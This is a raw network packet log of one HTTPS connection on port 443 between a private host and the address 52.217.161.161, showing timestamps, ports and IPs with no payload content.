Oct 21, 2024 17:05:19.062050104 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.062076092 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.062105894 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.062340975 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.062356949 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.062382936 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.062391043 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.062411070 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.062596083 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.062622070 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.062650919 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.062657118 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.062674999 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.062712908 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.062885046 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.062901020 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.062928915 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.062952995 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.062959909 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.063384056 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.063405991 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.063446045 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.063452959 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.063466072 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.063649893 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.063707113 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.063724041 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.063762903 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.063769102 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.063791990 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.063816071 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.063819885 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.063894033 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.063918114 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.063945055 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.063952923 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.063978910 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.064244986 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.064260006 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.064294100 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.064300060 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.064321995 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.064677954 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.064699888 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.064743042 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.064749956 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.064770937 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.065052032 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.065067053 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.065116882 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.065124989 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.065136909 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.065277100 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.065296888 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.065330982 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.065337896 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.065367937 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.065565109 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.065594912 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.065623999 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.065629959 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.065654993 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.065681934 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.066240072 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.066277981 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.066306114 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.066310883 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.066340923 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.066451073 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.066488981 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.066519976 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.066525936 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.066554070 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.066634893 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.066660881 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.066684961 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.066692114 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.066725969 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.066956997 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.066972017 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.067017078 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.067023039 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.067043066 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.067493916 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.067503929 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.067564011 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.067570925 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.067579031 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.115361929 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.139194012 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.139216900 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.139261961 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.139267921 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.139278889 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.139317989 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.139352083 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.139373064 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.139413118 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.139416933 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.139426947 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.139461994 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.139786005 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.139838934 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.139859915 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.139866114 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.139889002 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.139910936 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.139949083 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.140218973 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.140258074 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.140285015 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.140291929 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.140325069 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.140456915 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.140526056 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.140532970 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.140589952 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.140595913 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.140641928 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.141196012 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.141237020 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.141251087 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.141283989 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.141311884 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.141343117 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.141453028 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.141541958 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.141583920 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.141596079 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.141614914 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.141642094 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.141904116 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.141993999 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.142000914 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.142050028 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.142055988 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.142093897 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.142127037 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.142172098 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.142190933 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.142198086 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.142227888 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.142247915 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.142290115 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.142379999 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.142422915 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.142436981 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.142451048 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.142482996 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.193480968 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.193487883 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.204766035 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.204839945 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.204849005 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.204874992 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.204924107 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.205185890 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.205255032 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.205262899 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.205336094 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.205348969 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.205399990 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.205437899 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.205482006 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.205504894 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.205512047 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.205544949 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.205563068 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.205749989 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.205837965 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.205883026 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.205908060 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.205914974 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.205946922 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.206058979 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.206113100 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.206135988 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.206142902 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.206175089 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.206500053 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.206554890 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.206569910 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.206576109 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.206623077 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.206666946 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.206717014 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.206756115 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.206798077 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.206831932 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.206837893 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.206864119 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.206928968 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.206934929 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.206994057 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.207045078 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.207072020 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.207078934 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.207108021 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.220582962 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.220622063 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.220649004 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.220658064 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.220717907 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.220834970 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.220860958 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.220901012 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.220907927 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.220912933 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.220956087 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.221153021 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.221178055 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.221213102 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.221220016 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.221234083 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.221256971 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.221520901 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.221538067 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.221566916 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.221586943 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.221595049 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.221600056 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.221967936 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.221987009 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.222018003 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.222023964 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.222060919 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.222168922 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.222197056 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.222222090 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.222229004 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.222254992 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.222282887 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.222388983 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.222410917 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.222439051 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.222445011 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.222474098 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.222521067 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.222524881 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.222645044 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.222681046 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.222696066 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.222706079 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.222742081 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.222935915 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.222953081 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.222987890 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.223001003 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.223009109 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.223050117 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.223189116 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.223208904 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.223243952 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.223248959 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.223279953 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.223306894 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.223310947 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.223351002 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.223371029 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.223396063 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.223402977 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.223433018 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.224114895 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.224154949 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.224181890 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.224189043 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.224198103 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.224242926 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.224349022 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.224365950 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.224412918 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.224421024 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.224457979 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.285058022 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.285176039 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.285223961 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.285258055 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.285267115 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.285311937 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.285582066 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.285623074 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.285649061 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.285657883 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.285701036 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.285722017 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.285758018 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.286005020 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.286051035 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.286076069 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.286082983 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.286108971 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.286137104 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.286144018 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.286375046 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.286422014 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.286448956 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.286458015 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.286484003 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.286837101 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.286886930 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.286907911 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.286935091 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.287090063 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.287126064 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.287148952 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.287154913 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.287247896 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.287291050 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.287395000 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.287434101 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.287455082 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.287461996 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.287487984 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.287517071 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.287575960 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.287902117 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.287940979 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.287965059 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.287972927 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.288012981 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.288398981 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.288456917 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.288466930 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.288472891 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.288516998 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.288795948 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.288858891 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.288866997 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.288914919 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.288933992 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.289050102 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.289226055 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.289268970 CEST	443	49764	52.217.161.161	192.168.2.6
